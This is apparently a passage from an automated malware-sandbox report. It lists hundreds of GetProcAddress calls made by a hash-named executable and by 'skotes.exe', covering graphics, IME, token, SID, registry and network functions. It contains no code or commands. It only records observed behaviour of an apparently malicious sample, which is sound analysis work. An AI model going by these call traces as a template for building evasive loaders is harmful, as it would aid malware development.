"GetProcAddress" with a parameter InterlockedPopEntrySList (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter InterlockedPushEntrySList (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter InterlockedCompareExchange (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter RegisterClassNameW (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter EnableThemeDialogTexture (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GetThemeBool (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter InvalidateGadget (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GetGadgetRect (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GetGadgetRgn (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GetThemeInt (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GetLayout (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdiRealizationInfo (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter FontIsLinked (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GetTextFaceAliasW (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GetFontAssocStatus (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter RegQueryValueExA (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GetThemeBackgroundContentRect (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GetThemeTextExtent (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GetThemeBackgroundExtent (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter SetGadgetRect (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter CloseThemeData (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter EventEnabled (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdiIsMetaPrintDC (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter InitializeSecurityDescriptor (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter SetEntriesInAclW (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter CoRegisterInitializeSpy (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter CoRevokeInitializeSpy (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GetMartaExtensionInterface (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter SetSecurityDescriptorDacl (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GetGadgetFocus (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter SetGadgetFocus (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter DUserSendEvent (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdiplusStartup (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GetMonitorInfoA (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter EnumDisplayMonitors (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter EnumDisplayDevicesA (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter ExtTextOutW (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipAlloc (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipCreateSolidFill (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipCreatePath2 (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipCreateMatrix2 (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipCreateLineBrush (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipSetLineGammaCorrection (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipSetLineWrapMode (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipSetLinePresetBlend (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipSetLineTransform (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipDeleteMatrix (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipFree (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipCreatePath (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipAddPathEllipse (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipCreatePathGradientFromPath (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipSetPathGradientGammaCorrection (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipDeletePath (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipSetPathGradientPresetBlend (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipSetPathGradientTransform (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter CreateAction (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter IsThemeBackgroundPartiallyTransparent (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter DrawThemeParentBackgroundEx (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter DrawThemeBackground (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter EqualSid (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter BufferedPaintInit (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter BeginBufferedPaint (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipCreateFromHDC (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipSetCompositingQuality (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipSetInterpolationMode (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipSetPixelOffsetMode (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipSetSmoothingMode (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipCreateMatrix (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipGetWorldTransform (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipTranslateWorldTransform (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipScaleWorldTransform (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipMultiplyWorldTransform (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipGetBrushType (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipGetSolidFillColor (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipSetSolidFillColor (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipFillPath (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipSetWorldTransform (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipAddPathPath (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipSetClipPath (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipGetLinePresetBlendCount (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipGetLinePresetBlend (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipResetClip (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipGetPathGradientPresetBlendCount (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipGetPathGradientPresetBlend (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipGetMatrixElements (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipDeleteGraphics (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter BufferedPaintRenderAnimation (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GetThemeTransitionDuration (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter BeginBufferedAnimation (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter DrawThemeParentBackground (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter DrawThemeText (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter EndBufferedAnimation (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GetBufferedPaintDC (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GetBufferedPaintTargetDC (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter EndBufferedPaint (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter FindGadgetFromPoint (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipGetPathGradientTransform (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipMultiplyMatrix (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipInvertMatrix (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipTranslateMatrix (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter ForwardGadgetMessage (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter BufferedPaintStopAllAnimations (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter BufferedPaintUnInit (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter DisableContainerHwnd (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter DeleteHandle (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdipDeleteBrush (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GdiplusShutdown (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter DUserFlushMessages (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter DUserFlushDeferredMessages (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter UnregisterMessagePumpHook (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadDWORD (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadBSTR (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadGUID (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter RegGetValueW (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter RegisterTraceGuidsA (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter PathCreateFromUrlW (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter ConvertStringSidToSidW (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00000560) "skotes.exe" called "GetProcAddress" with a parameter GetCharABCWidthsI (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmWINNLSEnableIME (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmWINNLSGetEnableStatus (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmSendIMEMessageExW (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmSendIMEMessageExA (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmIMPGetIMEW (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmIMPGetIMEA (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmIMPQueryIMEW (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmIMPQueryIMEA (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmIMPSetIMEW (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmIMPSetIMEA (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmAssociateContext (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmEscapeA (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmEscapeW (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmGetCompositionStringA (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmGetCompositionStringW (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmGetCompositionWindow (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmGetContext (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmGetDefaultIMEWnd (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmIsIME (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmReleaseContext (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmRegisterClient (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmGetCompositionFontW (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmGetCompositionFontA (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmSetCompositionFontW (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmSetCompositionFontA (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmSetCompositionWindow (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmNotifyIME (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmLockIMC (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmUnlockIMC (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmLoadIME (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmSetOpenStatus (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmFreeLayout (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmActivateLayout (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmGetCandidateWindow (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmSetCandidateWindow (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmConfigureIMEW (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmGetConversionStatus (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmSetConversionStatus (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmSetStatusWindowPos (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmGetImeInfoEx (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmLockImeDpi (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmUnlockImeDpi (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmGetOpenStatus (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmSetActiveContext (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmTranslateMessage (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmLoadLayout (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmProcessKey (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmPutImeMenuItemsIntoMappedFile (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmGetProperty (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmSetCompositionStringA (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmSetCompositionStringW (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmEnumInputContext (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ImmSystemHandler (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter CtfImmTIMActivate (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter CtfImmRestoreToolbarWnd (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter CtfImmHideToolbarWnd (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter CtfImmDispatchDefImeMessage (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter CtfImmNotify (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter CtfImmSetDefaultRemoteKeyboardLayout (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter CtfImmGetCompatibleKeyboardLayout (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter LpkTabbedTextOut (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter LpkPSMTextOut (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter LpkDrawTextEx (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter LpkEditControl (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter timeGetTime (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter NtOpenThread (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter RtlAllocateHeap (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter RegisterTraceGuidsW (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter GetUserNameExA (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter LookupAccountNameLocalA (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter GetSidSubAuthorityCount (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter GetSidSubAuthority (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter RegCreateKeyExA (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter RegQueryValueExA (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter RegGetValueW (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter SHGetKnownFolderPath (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter CopySid (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter ConvertStringSecurityDescriptorToSecurityDescriptorW (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter RegGetValueA (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter RegOpenKeyExA (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter WinHttpCreateProxyResolver (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter RegCreateKeyExW (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter RegSetValueExW (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter WSAIoctl (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter RegisterTraceGuidsA (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter NotifyIpInterfaceChange (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter NotifyUnicastIpAddressChange (UID: 00000000-00002756) "skotes.exe" called "GetProcAddress" with a parameter GetBestInterfaceEx (UID: 00000000-00002756) 